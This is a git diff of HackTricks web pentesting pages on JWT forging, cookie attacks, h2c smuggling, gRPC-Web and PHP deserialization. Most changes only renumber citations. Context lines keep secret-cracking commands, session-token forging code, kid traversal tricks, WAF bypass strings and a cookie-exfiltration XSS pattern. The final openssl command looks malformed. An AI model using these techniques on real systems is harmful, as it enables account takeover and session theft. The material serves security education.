{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md
index d66f8f614ab..3e6e803271b 100644
--- a/src/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/src/pentesting-web/file-inclusion/phar-deserialization.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.[[1]](#references)
+**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
-The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.
+The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.[[1]](#references)
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
@@ -67,6 +67,6 @@ php vuln.php
## References
-- [1] [RIPS – New PHP Exploitation Technique (phar:// deserialization)](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
+- [1] [PHP Object Injection via phar:// metadata deserialization (RIPS Technologies blog)](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index e880ff670dd..1b9e070e518 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -33,15 +33,13 @@ Due to the default setting of `session.upload_progress.prefix`, our **SESSION fi
The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).[[1]](#references)
-More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
-Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)[[2]](#references)
+More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)[[1]](#references)[[2]](#references)\
+Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)[[3]](#references)
## References
-- [1] [HITCON CTF 2018 - One Line PHP Challenge](https://blog.orange.tw/2018/10/)
-- [2] [Detailed writeup of both one line php and Return of one line php](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
+- [1] [HITCON CTF 2018 - One Line PHP Challenge (Orange Tsai)](https://blog.orange.tw/2018/10/)
+- [2] [exp_for_php.py - final exploit script (orangetw/My-CTF-Web-Challenges)](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)
+- [3] [One Line PHP Challenge and the Return of One Line PHP Challenge writeup](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md b/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
index f957427067e..6e4cf063aa6 100644
--- a/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
+++ b/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
@@ -6,9 +6,6 @@
## References
-- [1] [Multiple PDF Vulnerabilities - Text and Pictures on Steroids](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
+- [1] [Multiple PDF Vulnerabilities - Text and CORS bypass (insert-script blog)](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/grpc-web-pentest.md b/src/pentesting-web/grpc-web-pentest.md
index 95b043237df..e33637a5764 100644
--- a/src/pentesting-web/grpc-web-pentest.md
+++ b/src/pentesting-web/grpc-web-pentest.md
@@ -18,7 +18,7 @@
What this means for attackers:
- You can craft requests by hand (binary or base64 text), or let tooling generate/encode them.
- CORS mistakes on the proxy can allow cross‑site, authenticated gRPC‑Web calls (similar to classic CORS issues).
-- JSON transcoding bridges may unintentionally expose gRPC methods as unauthenticated HTTP endpoints if routes/auth are misconfigured.
+- JSON transcoding bridges may unintentionally expose gRPC methods as unauthenticated HTTP endpoints if routes/auth are misconfigured.[[1]](#references)
## Testing gRPC‑Web from the CLI
@@ -80,7 +80,7 @@ For generic techniques to abuse CORS, check [CORS - Misconfigurations & Bypass](
gRPC‑Web uses Content-Type: application/grpc-web-text as a base64‑wrapped gRPC frame stream for browser compatibility. You can decode/modify/encode frames to tamper with fields, flip flags, or inject payloads.[[1]](#references)[[2]](#references)
-Use the [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) tool (and its Burp extension) to speed up round‑trips.
+Use the [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) tool (and its Burp extension) to speed up round‑trips.[[2]](#references)
### Manual with gGRPC Coder Tool
@@ -113,13 +113,13 @@ AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3Jp
### Manual with gRPC‑Web Coder Burp Suite Extension
-You can use gRPC‑Web Coder Burp Suite Extension in [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) which is easier. You can read the installation and usage instruction in its repo.
+You can use gRPC‑Web Coder Burp Suite Extension in [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) which is easier. You can read the installation and usage instruction in its repo.[[2]](#references)
## Analysing gRPC‑Web JavaScript files
Web apps using gRPC‑Web ship at least one generated JS/TS bundle. Reverse them to extract services, methods, and message shapes.[[1]](#references)[[2]](#references)
-- Try using [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) to parse bundles.
+- Try using [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) to parse bundles.[[2]](#references)
- Look for method paths like /./, message field numbers/types, and custom interceptors that add auth headers.
1. Download the JavaScript gRPC‑Web file
diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md
index 322a5ce4444..7aad95992ae 100644
--- a/src/pentesting-web/h2c-smuggling.md
+++ b/src/pentesting-web/h2c-smuggling.md
@@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c
#### Vulnerable Proxies
-The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling:[[1]](#references)
+The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling:
- HAProxy
- Traefik
@@ -35,7 +35,7 @@ Conversely, these services do not inherently forward both headers during proxy-p
- Varnish
- Kong
- Envoy
-- Apache Traffic Server
+- Apache Traffic Server[[1]](#references)
#### Exploitation
@@ -44,7 +44,7 @@ It's crucial to note that not all servers inherently forward the headers require
> [!CAUTION]
> Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access.
-The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy.
+The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy.[[2]](#references)[[1]](#references)
For additional information on this vulnerability, particularly concerning NGINX, refer to [**this detailed resource**](../network-services-pentesting/pentesting-web/nginx.md#proxy_set_header-upgrade-and-connection).
@@ -83,14 +83,12 @@ Most reverse proxies are vulnerable to this scenario, but exploitation is contin
#### Labs
-Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
+Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)[[3]](#references)
## References
-- [1] [H2C Smuggling in the Wild](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
-- [2] [Research on h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)](https://bishopfox.com/blog/h2c-smuggling-request)
-- [3] [websocket-smuggle - Smuggling HTTP requests through WebSocket reverse proxies](https://github.com/0ang3el/websocket-smuggle.git)
+- [1] [H2C Smuggling: Request Smuggling Via HTTP/2 Cleartext (Assetnote)](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
+- [2] [H2C Smuggling: Request Smuggling Via HTTP/2 Cleartext (BishopFox)](https://bishopfox.com/blog/h2c-smuggling-request)
+- [3] [Websocket smuggling research and labs (0ang3el/websocket-smuggle)](https://github.com/0ang3el/websocket-smuggle.git)
{{#include ../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md
index a83ddf693d8..d3ab356a851 100644
--- a/src/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -2,12 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
-**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
+**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)[[3]](#references)\
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
### **Quick Wins**
-Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines[[3]](#references)
+Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
@@ -72,11 +72,11 @@ python3 jwt_tool.py -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
```
-Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims.
+Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims.[[4]](#references)
### Derive JWT secrets from leaked config + DB data
-If an arbitrary file read (or backup leak) exposes both **application encryption material** and **user records**, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:
+If an arbitrary file read (or backup leak) exposes both **application encryption material** and **user records**, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:[[1]](#references)
1. Leak the app key (e.g., `encryptionKey`) from a config file.
2. Leak the user table to obtain `email`, `password_hash`, and `user_id`.
@@ -88,7 +88,7 @@ jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
```
-4. Drop the signed token into the session cookie (e.g., `n8n-auth`) to impersonate the user/admin account even if the password hash is salted.[[1]](#references)
+4. Drop the signed token into the session cookie (e.g., `n8n-auth`) to impersonate the user/admin account even if the password hash is salted.
### Modify the algorithm to None
@@ -98,7 +98,7 @@ Use the Burp extension call "JSON Web Token" to try this vulnerability and to ch
### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
-Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.[[5]](#references)[[6]](#references)
+Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.[[5]](#references)[[6]](#references)
- **Pre-reqs**:
- The application accepts **JWE bearer tokens**
@@ -157,11 +157,11 @@ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
-Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.json` or a PEM) and run **Attack → HMAC Key Confusion Attack** to automate the HS256 re-sign attempt.
+Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.json` or a PEM) and run **Attack → HMAC Key Confusion Attack** to automate the HS256 re-sign attempt.[[4]](#references)
#### Passive triage for RS256→HS256 confusion in PAN-OS / GlobalProtect CAS (CVE-2026-0265)
-A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens.[[7]](#references)[[8]](#references)
+A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens.[[7]](#references)[[8]](#references)
For **Palo Alto PAN-OS / GlobalProtect** with **Cloud Authentication Service (CAS)** attached to the authentication profile, the exposed GlobalProtect prelogin flow gives enough unauthenticated data to do a **safe passive triage** without forging a token.
@@ -259,7 +259,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
-A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK `k` set to `AA==`, set `kid` to a traversal like `../../../../../../../dev/null`, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.
+A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK `k` set to `AA==`, set `kid` to a traversal like `../../../../../../../dev/null`, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.[[4]](#references)
#### SQL Injection via "kid"
@@ -303,7 +303,7 @@ print("n:", hex(key.n))
print("e:", hex(key.e))
```
-If the verifier fetches key material remotely, embed a Burp Collaborator URL in `jku`/`x5u` using **JWT Editor → Attack → Embed Collaborator payload**. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.
+If the verifier fetches key material remotely, embed a Burp Collaborator URL in `jku`/`x5u` using **JWT Editor → Attack → Embed Collaborator payload**. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.[[4]](#references)
#### x5u
@@ -412,8 +412,8 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
### Tools
- [jwt_tool](https://github.com/ticarpi/jwt_tool) – decoding, claim/header tampering, offline secret cracking (`-C`) and semi-automated attack modes (`-M at`).
-- [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**).
-- [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
+- [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**).[[2]](#references)
+- [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.[[4]](#references)
{{#ref}}
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index 879f6c8baf4..1a45ee58f96 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -44,11 +44,11 @@ Remember, while configuring cookies, understanding these attributes can help ens
| AJAX | $.get("...") | NotSet\*, None |
| Image | \ | NetSet\*, None |
-Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.[[13]](#references)\
+Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.[[15]](#references)\
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
-**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).[[14]](#references)\
-Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**[[14]](#references)
+**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).[[16]](#references)\
+Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
## Cookies Flags
@@ -58,7 +58,7 @@ This avoids the **client** to access the cookie (Via **Javascript** for example:
#### **Bypasses**
-- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).[[6]](#references)[[15]](#references)
+- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).[[6]](#references)[[17]](#references)
- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.[[5]](#references)
- This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
- Another way is the exploitation of zero/day vulnerabilities of the browsers.
@@ -70,7 +70,7 @@ cookie-jar-overflow.md
{{#endref}}
- It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
-- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern[[7]](#references):
+- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it.[[7]](#references) Example XSS payload pattern:
```js
// Extract content between ...
@@ -99,7 +99,7 @@ It is important to note that cookies prefixed with `__Host-` are not allowed to
### Overwriting cookies
-So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...[[16]](#references)[[17]](#references):
+So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:[[14]](#references)[[18]](#references)
@@ -157,12 +157,12 @@ When two cookies normalize to the same name, many backends (including Django) us
#### Detection and tooling
-Use Burp Suite to probe for these conditions[[8]](#references):
+Use Burp Suite to probe for these conditions:
- Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
- Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization.
- Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
-- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
+- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)[[9]](#references)
> Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.
@@ -212,7 +212,7 @@ This attack forces a logged-in user to execute unwanted actions on a web applica
### Empty Cookies
-(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows[[2]](#references):
+(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:[[2]](#references)
```js
document.cookie = "a=v1"
@@ -234,17 +234,17 @@ This leads to the browser sending a cookie header interpreted by every web serve
#### Chrome Bug: Unicode Surrogate Codepoint Issue
-In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently[[2]](#references):
+In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
```js
document.cookie = "\ud800=meep"
```
-This results in `document.cookie` outputting an empty string, indicating permanent corruption.
+This results in `document.cookie` outputting an empty string, indicating permanent corruption.[[2]](#references)
#### Cookie Smuggling Due to Parsing Issues
-(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs[[2]](#references):
+(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:[[2]](#references)
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
@@ -252,13 +252,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
#### Cookie Injection Vulnerabilities
-(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies[[2]](#references):
+(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:[[2]](#references)
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Python's cookie classes start parsing on a space character.
-This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.[[2]](#references)
+This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
### Cookies $version
@@ -268,7 +268,7 @@ According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs
#### Cookie Sandwich Attack
-According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps[[18]](#references):
+According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies.[[13]](#references) These are the requirements and steps:
- Find a place were an apparent useless **cookie is refected in the response**
- **Create a cookie called `$Version`** with value `1` (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step)
@@ -294,18 +294,18 @@ Check the previous section.
#### Bypassing value analysis with quoted-string encoding
-This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as[[4]](#references):
+This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Bypassing cookie-name blocklists
-In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.[[4]](#references)
+In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
#### Bypassing value analysis with cookie splitting
-Finally different backdoors would join in a string different cookies passed in different cookie headers like in[[4]](#references):
+Finally different backdoors would join in a string different cookies passed in different cookie headers like in:
```
GET / HTTP/1.1
@@ -464,9 +464,9 @@ Typical exploitation pattern:
- Recreate the expected plaintext structure (user, role/domain, host ID, client OS/IP, timestamp, lifetime, etc.).
- Encrypt it with each candidate **public key**, encode it as expected, and replay it. If the server only checks that decryption succeeds and the fields parse, authentication is bypassed.
-**GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway.[[10]](#references)[[11]](#references)
+**GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway.[[10]](#references)[[11]](#references)
-Quick testing ideas[[12]](#references):
+Quick testing ideas:[[12]](#references)
```bash
openssl s_client -connect :443 -showcerts --context both --user admin
## References
